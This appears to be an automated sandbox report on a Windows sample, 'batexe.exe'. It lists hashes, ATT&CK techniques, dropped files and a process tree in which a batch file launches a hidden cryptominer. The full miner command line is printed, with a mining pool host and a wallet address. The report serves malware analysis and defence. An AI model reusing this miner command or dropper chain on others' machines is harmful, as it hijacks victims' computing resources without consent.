73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13-02-2024 09:20

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5220	b2e.exe
1480	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1480	cpuminer-sse2.exe
1480	cpuminer-sse2.exe
1480	cpuminer-sse2.exe
1480	cpuminer-sse2.exe
1480	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3468-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3468 wrote to memory of 5220	3468	batexe.exe	85
PID 3468 wrote to memory of 5220	3468	batexe.exe	85
PID 3468 wrote to memory of 5220	3468	batexe.exe	85
PID 5220 wrote to memory of 4216	5220	b2e.exe	86
PID 5220 wrote to memory of 4216	5220	b2e.exe	86
PID 5220 wrote to memory of 4216	5220	b2e.exe	86
PID 4216 wrote to memory of 1480	4216	cmd.exe	89
PID 4216 wrote to memory of 1480	4216	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Users\Admin\AppData\Local\Temp\6C37.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6C37.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6C37.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6FC1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4216
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6C37.tmp\b2e.exe

Filesize
24.7MB

MD5
99b7a440e0de6bdeb1ec51a59ebd77ee

SHA1
ab8b81b9541e950fccec141bbba70efe4e4ce345

SHA256
b5d601d259eef2865d84099697430de7821fd2df126c4581df8afddf166103af

SHA512
e0c943ce557fe25336109650ea76cdd76cd0ab1d2d6871125a28858da491f8b8bcbaaf828aa8e5c5007ad5ee1cc0ce674da67f3f1c495e7df58c08c2b12bc3a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\6C37.tmp\b2e.exe

Filesize
9.4MB

MD5
43a7e36630300e1068bf447748c29eee

SHA1
5a899fe873d1176cda51b3b39d5e2c60971e6c6c

SHA256
fc6cb2ca9b2405176dc5e5adf86029d0c3dc27a7b993e67bdf5dcaf5a3080286

SHA512
3f7260337d5bbc389aa204929b492a7af60a40f57938f09c291df2e1b5a1c121756a4f7a614dfd34b96215fc26dcfbd59ac9a846d442e89bf8900432b2a5d64b

Download Submit
C:\Users\Admin\AppData\Local\Temp\6C37.tmp\b2e.exe

Filesize
11.2MB

MD5
2a31dd8a3782d07978a708dd5ae69a2d

SHA1
7da96d94e742ba49992af71f79af7436fe95ac33

SHA256
203a0939cc858cd7250d0f6f614a3b7f9f83036cfa5d1c04650e45277f1e2de6

SHA512
82b46066e06449a2b58a884bcdd533f858a480da424cd07586a27831af9a0f7cc4c38fb73331b15f8b04d1d6c97eb4db97212e3b1add2e893d71e40cb2d87e47

Download Submit
C:\Users\Admin\AppData\Local\Temp\6FC1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
2ba0900fb3dd8cd4b9459471359ab459

SHA1
ac4afd906154105a16aca740e90bf480f5c41a30

SHA256
56c6033212bceae56db2c877eb629338c0da15f64c63f43b40a039a91704abae

SHA512
7520ac41493e4a4699a46fe180d23c4c1fc6e7531610e345c694e314c38ac492c96d1c608878ecdcc969192271ab25d67f41db3c553b71ab0303d56eccd2c0e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
e66d0e415380f220cbd99fe856968002

SHA1
068641c12d12e5d73ea0b1e178eecf7b6504da6b

SHA256
8afe2c5161330a821dae47f7095e4ba3b1fef55fc5554978e5e950aa001510ae

SHA512
2ec2534e0af56fc76efc53dc2920145cae73e4caf76d671f251309a5b0e79a8499b87d5e10aac24fbabd9ecc9b0f59f66ed01b6f3f147bf757858ed3c452d28a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.7MB

MD5
acab5e3ef4b0eab1eaf7d444ec90b19d

SHA1
7dac4339d9e149082ad7ebb1bf322687bb35d3d2

SHA256
b5e4e50179217c0334744a5fb047e1df3132534bb964e17185125aeb941fcbef

SHA512
be75ee9473801ac0c1ba8b45c93f443173b507aa868322625a05619067381f85c6b4d673c4a17a08ed6ede98a55302ebab6b8a3aa7de675f961ef04205e67ebf

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1480-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1480-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-45-0x0000000054460000-0x00000000544F8000-memory.dmp

Filesize
608KB

Download
memory/1480-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1480-47-0x00000000010E0000-0x0000000002995000-memory.dmp

Filesize
24.7MB

Download
memory/1480-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5220-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5220-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download